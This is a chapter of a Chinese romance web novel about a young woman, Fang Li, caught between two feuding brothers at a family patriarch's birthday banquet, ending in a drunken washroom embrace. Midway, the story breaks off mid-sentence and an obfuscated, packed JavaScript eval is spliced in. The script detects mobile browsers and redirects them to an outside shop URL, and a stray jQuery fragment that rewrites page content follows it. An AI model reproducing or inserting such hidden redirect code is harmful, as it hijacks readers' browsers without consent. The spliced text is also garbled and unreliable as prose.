“她和妈妈单独在一起,你不怕?”

    “我怕什么?”

    “你不怕她知道你是谁的儿子?”

    “涂红霞已经死了。”祝言殊冷眼看向一脸奸计得逞的祝言泽,语气平静,“我现在是江白山的儿子,倒是你...”

    祝言泽听出祝言殊话里的意有所指,急忙开口辩解:“老爸说过了!那个女人的事和我无关!我长在祝家二十多年,我就是祝家人!”

    祝言殊只是笑笑没说话,原来祝言泽到现在都还以为江白山还是他的亲亲妈咪吗?真是蠢得可爱。

    试问,怎么会有女人会真心相待一个抢走自己丈夫、换走自己亲生骨肉、浪费自己十余载光阴和心血的女人的孩子?甚至还是在亲生骨肉近在眼前的情况下?

    祝言殊一时分不清是江白山的演技太好,还是祝言泽太蠢,亦或是祝青松过于溺爱祝言泽的缘故。

    不过祝言殊不得不承认,在听见祝言泽辩驳话语的此时此刻,他很嫉妒,因为这样让人有安全感和底气的话,祝青松从未对他说过。

    若非如此,祝言殊也不可能答应加入江白山关于当年那事的复仇计划。

    .

    “她是谁?”

    暗红色的高希霸在男人手中明灭不定,男人手腕微微下压,将燃烧的一端抵进烟灰缸底部的瓷面上,宛如丝绸撕裂的微弱声响,带走了雪茄头上微弱的暗红色的光,在烟灰缸底部多了一撮灰色的炭屑。

    “她叫方梨,是远洋集团的一个项目经理...”

    “她,是谁?”

    男人的再次重复了问话,语气不悦,捏住雪茄用力向瓷面压下,男人双眼微眯,审视的目光落在被左右夹击的方梨身上。

    到底是什么样的女人,可以让他的两个儿子在他的寿宴上如此失态,他很好奇。

    “去查查。”

    祝青松坐在会客厅之上的书房里,楼下厅内每个人的一举一动,都逃不过他的眼睛。

    他的目光追随着江白山的身影,只见一白一黑的两人脱离人群,向大厅的外围走去。

    祝青松从侍者手中接过刚试好的又一根雪茄,大口吸入,他张了张肥厚的嘴唇,灰白的烟雾如游丝般滑出,好似有生命般缠绕、盘旋在他紧皱的眉峰,久久不肯散去。

    江白山这个女人又在搞什么?拉着这个女人又是要去做什么?

    目光始终追随,恰好在方梨回身的瞬间,看清了方梨的面容。

    烟雾向上散去,祝青松的眼睛倏地瞪大。

    像,太像了,实在是太像那位故人了。

    .

    直到满厅宾客落座,宴会的主人出席,方梨这才知道,自己被江泽生拉硬拽而来的宴会,是祝老爷子的寿宴。

    人头攒动,此时不溜更待何时!

    可方梨刚向大门的方向迈进一步,就被祝家兄弟二人给发现了,在其二人的目光注视下,方梨只好不情不愿地老老实实地待在座位上。

    “江姨...!”

    方梨伸出尔康手,试图拉回挽着寿星祝青松胳膊去social的江白山。

    终究还是没能拉住江白山。

    祝言殊和江泽二人见状,完全没有打算给方梨逃跑的机会,再次充当起左右护法,十分自然地在方梨身旁落座。

    “方梨姐姐,喝点?”脱离江白山掌控的江泽,又恢复到了先前插科打诨的笑面虎状态,他向方梨推过来一杯装满红酒的高脚杯,眉梢轻挑,示意方梨接过酒杯。

    “不...”

    方梨的“不”字还未说完全,从她座位的另一侧便伸过来手,修长白皙的大手将方梨面前的酒杯端走。

    这是...?

    祝言殊又要干嘛?

    在她错愕的注视下,祝言殊将杯中酒一饮而尽,他微微仰起头,灯光穿过杯身,淡紫的光影落在祝言殊面庞上,似是在他他冷峻无暇地脸上覆上了一层魅惑的薄纱,因吞咽酒水而上下滚动的喉结,看得方梨心生一阵激荡。

    怎么这家伙看起来又帅了?

    方梨环顾四周,企图为自己脑中的黄色废料寻找到一个合理的解释。

    她目光锁定高悬于头顶的吊灯。

    对的对的,一定就是灯光的原因,祝言殊充其量也就算个氛围感帅哥。

    方梨咽了咽口水,强迫自己不再去看祝言殊那张让她想入非非的脸。

    “她不喝酒,你要是非要倒,那我全包了。”

    祝言殊将空酒杯重重地放在桌面上,他看向江泽的眼神里满是警告的意味。

    “那你喝呗,管够!”江泽同样不甘示弱,打了个响指的功夫,侍者便推来了一整车酒。

    祝言殊没有理会江泽的挑衅,嘴角微微上挑,目光却落在方梨脸上。

    不是,这俩人又要闹哪样啊!方梨欲哭无泪,此时此刻,她是多么希望江姨能来管管这两个又开始发疯的家伙。

    在江泽叫酒的空档,祝言殊不知从哪儿弄来了杯温开水,小心翼翼地放在方梨跟前。

    “你就喝这个。”他的嗓子有些低哑,他顿了顿,似乎想起了什么,“还有,以后不能喝别人递来的东西。”

    “那...这”

    方梨朝祝言殊刚递来的温水,努了努嘴,眨了下眼睛,仿佛在说“这不也是【别人】递来的水吗”。

    “我除外。”

    祝言殊一句话便将方梨想要说出的反驳之言给堵了回去。

    好嘛,还是个双标大师来的。

    不知是否是错觉,方梨觉得喝过酒的祝言殊的声音,十分性感且...熟悉,自己似乎是在哪里听到过,却又一时半会儿想不起来。

    方梨抿了口祝言殊递来的温水,甜甜的,蒸腾的水汽直扑她的面门。

    是淡淡的荔枝的果香。

    还挺细心。

    她顺着目光再次看向祝言殊,好不容易才压制下去的邪念又再次冒头——

    兴许是刚刚他喝得太急,酒液从杯中溢出,在他的嘴角留下了一抹残留的红,此时此刻的祝言殊在方梨眼里,宛如一株任人采撷的花朵儿。

    祝言殊的嘴唇,看起来还...挺软的,似乎很好亲的样子。

    方梨的目光停留在祝言殊的嘴唇上,仔细描摹着她嘴唇的轮廓。

    等一下,这个唇形?

    有点眼熟啊!

    突然,方梨眯起眼睛,试图用自己的眼皮挡住祝言殊的上半张脸。

    这下有些看懂了!

    这嘴怎么长得和那天自己集邮的coser老师那么像!

    难道说...?

    祝言殊还有其他兄弟!

    “来啊!喝啊!”

    江泽一嗓子打断了方梨的脑中推测,被观测的祝言殊也不言语,自顾自地从酒车中提起一瓶拉菲。

    拔塞、醒酒、分酒。

    一杯接着一杯,祝言殊喝得不疾不徐,一瓶酒下肚,他面不改色,反观江泽,面颊早已如同熟透的苹果,眼神涣散不堪,下一秒,竟直直地倒在了桌子上。

    瞧这家伙方才的叫嚣劲儿,原来和自己一个样,也是个一杯倒的量,方梨在心中暗自吐槽。

    “哥!”

    江泽毫无预兆地猛然将头抬起,如同诈尸一般,大声喊了声哥,眉毛向下耷拉着,眼圈因醉酒而微红。

    “说起来,我们好像还没在家里喝过酒吧?”

    “谁愿意跟你喝。”

    祝言殊不咸不淡地呛了回去,二人又重新归于安静,没有人再发一言,但二人手上的动作却没有半分要停止的意思。

    红的、白的、洋的、啤的,一瓶接着一瓶,跟不要钱似的,不断地往肚子里灌。

    江泽整个人趴在桌子上,但还不住地将酒液往嘴里灌。

    祝言殊单手撑住额头,另一只手仍不住地给自己斟酒。

    方梨偷偷地将坐下的椅子往身后挪动,眼神闪动间,仔细评估着眼前两人的状态。

    倒了一个江泽。

    至于这个祝言殊嘛...

    祝言殊低着头,方梨看不清他的表情,但方梨在心中细数了一下散落一地的空酒瓶数量,估摸着祝言殊也喝得差不多了。

    逃跑计划正式启动!

    方梨试探着起身。

    无人在意。

    方梨试探着往外挪了两步。

    依旧无人在意。

    “两位继续,我水喝多了,去个洗手间先。”

    无人应答。

    方梨这才放下心来,大踏着步子,哼着小曲儿向洗手间进发。

    .

    方梨确实也没有撒谎,从下班一直折腾到现在,可把她给憋坏了。

    “呼。”

    方梨仔细认真地冲洗双手,长舒口气,心里已生出了即将逃出生天的喜悦激动之情。

    她提着裙子蹑手蹑脚地向洗手间外走去,探出一脑袋,左看看,右看看。

    很好,没有人!

    方梨正打算加速冲刺,逃离这是非之地,却不料眼前的生路被一个高大的身影生生拦住。

    不是吧!

    只见那人衬衣西裤,穿得十分板正,低垂着头,看不清面容。

    方梨试探着向前两步,定睛望去。

    这身形、这脸蛋、这五官...

    这不就是祝言殊无疑。

    “祝总,你...怎么来了?”

    方梨支支吾吾地开口,边说边下意识地往身后退去。

    她现在的心里有些打鼓,因为她无法确认眼前祝言殊的状态。

    酒品见人品,祝言殊啊祝言殊你可千万不要发酒疯啊。

    “刚刚酒洒了,我来处理一下。”

    祝言殊依旧低着头,声音低哑、语速温吞。似是怕方梨不相信似的,祝言殊说着还用手指了指自己的胸口,可洗手间的灯光有些昏暗,在这个距离之下,方梨甚至都有些看不清背光下祝言殊的脸庞,更不用说他胸口的水渍。

    不过好在祝言殊的语调与平时一般无二,逻辑清晰、口齿伶俐,一点儿也没有醉酒的样子。

    祝言殊的回答入耳,方梨悬着的心稍稍放松下来。

    目前看来,这家伙没有发酒疯的风险。

    暂时安全!

    可这..

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778682|208730||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    .未免也太清醒了吧,难不成这家伙刚刚和江泽喝酒的样子,都是装的?

    方梨心念电转间,眼前的祝言殊却动了。

    他双手毫无预兆地捏住衬衣最上端的第一颗纽扣,旁若无人地解起扣子来。

    不是...

    许是因为醉酒,他那双白皙修长的手带着几分不受控制的迟钝,但丝毫没有停止手上动作的意思。

    一颗,两颗,三颗。

    直到白色衬衣整个从祝言殊身上剥离,直到他紧绷的肩线整个露出,直到方梨看清他线条分明的锁骨和胸肌。

    不是!

    这家伙怎么开始脱起衣服来了!

    方梨心中警铃大作,下意识地再次向身后退去。

    祝言殊随手将脱下的衬衣放在台面上,在方梨震惊目光的注视下,祝言殊从洗手池边不知哪儿挤了点洗手液,认真地搓起衬衣上的酒渍来。

    还挺...顾家?

    没想到祝言殊这么大的总裁,竟然会在洗手间里自己搓衣服。

    这说出去谁信呐?

    三分钟后,祝言殊放下了手中的衣物,偏过头望向方梨。

    咯噔。

    方梨心头一跳,她有一种十分不好的预感。

    祝言殊一步一步向里走去,空荡荡的洗手间里,回响着他皮鞋和地板碰撞的哒哒声。

    不是,这家伙又要干什么?

    方梨一步一步,向后退去,她现在的心跳得很快,几乎要从喉咙间跳出。

    明明祝言殊什么也没有做,方梨却感受到了满满的压迫感。

    “方梨,你躲什么?”

    祝言殊停住前行的脚步,在距离方梨还有三步的地方站定,歪了下头,不解地望着方梨。

    话语里,似乎带着几分微微的怒气?

    刚刚还好好的,这也没人惹他啊!

    “啪嗒——”

    方梨的后背结结实实地撞上了身后的墙壁,刺骨的凉意爬上皮肤。

    她已经没有退路了,背后瓷砖的凉意让此刻的方梨冷静了下来,她大脑飞速运转,可得稳住这家伙,抢在祝言殊发难之前解释道:

    “我这是...非礼勿视。”

    方梨将头偏向一边,不敢去看半裸着上身,且胸肌上沾满酒液的祝言殊。

    太诱惑了!

    大黄丫头做梦都不敢这样梦!

    此时的祝言殊距离方梨很近,他们之间仅剩不到两米的安全距离。

    近到方梨甚至能闻到祝言殊身上散发的古龙水混杂的酒香。

    近到方梨甚至能看清祝言殊迷离失焦的眼睛。

    近到方梨能清晰地听到祝言殊粗重的呼吸。

    洗手间的水晶吊灯折射的光从祝言殊身后而来,将祝言殊的身形印在了墙壁上,巨大的阴影将方梨的身体整个笼罩在内。

    祝言殊居高临下地望着她,眼神复杂。

    那是一种方梨从未在祝言殊眼睛里看到过的情绪,害怕、忧伤,还有祈求?

    他的眼神没有焦点,直到这一刻,方梨才敢真正确定,祝言殊确实醉了。

    祝言殊又动了。

    他酿跄着步伐向方梨走来,仅两米不到的距离,他却走了很久。

    方梨只觉得自己的双腿现在如同灌了铅般沉重,她想逃,却怎么也迈不开腿。

    突然,她的手被一只大手握住、拉扯!

    下一秒,身体不受控制地向前扑去。

    “祝言殊你!”方梨惊叫出声。

    还等她如何言语,她就已经和祝言殊的胸肌撞了个满怀,身后男人的双臂收紧,死死地环在她的腰上,仿佛要将她生生揉进他的身体里,仿佛只要稍一松手,眼前的女孩就会立刻消失一般。

    祝言殊顺势将头深深地埋在她的颈窝处,低哑的声音不住地呢喃,滚烫的呼吸喷洒在她微凉的皮肤上。

    “方梨,我好想你。”

    方梨怔愣在原地,悬在半空的双手不知所措。

    祝言殊说,他很想我?

    什么情况这是?

    “阿梨...阿梨...”

    怀中的男人轻声唤着她的名字。

    腰上的力道一松,祝言殊的一只手从她背后回至身前,又向自己的身后探去,似乎在寻找着什么。

    突然,方梨悬空的右手被祝言殊紧握住,微凉的指尖划过男人灼热的皮肤,一路向下。

    最后被祝言殊的大手牵引着,落在坚实的腹肌上。

    这是...在求摸肚皮?醉酒的祝言殊怎么跟个小狗一样?

    方梨想抽回右手,虽然她自认不是什么正人君子,但也不能趁人之危!

    但她的手却被祝言殊紧紧攥住,按在坚实的腹肌上。

    祝言殊啊祝言殊,天地可鉴,这可是你先动的手!

    方梨轻叹一声,悬在半空的左手抚上了祝言殊凌乱的后脑勺,轻轻揉了揉,如同抚摸小狗头一般。

    右手自然是毫不客气地品鉴着祝言殊的腹肌。

    常言道,有便宜不占王八蛋!

    并且,已经给过祝言殊这家伙反悔的机会了!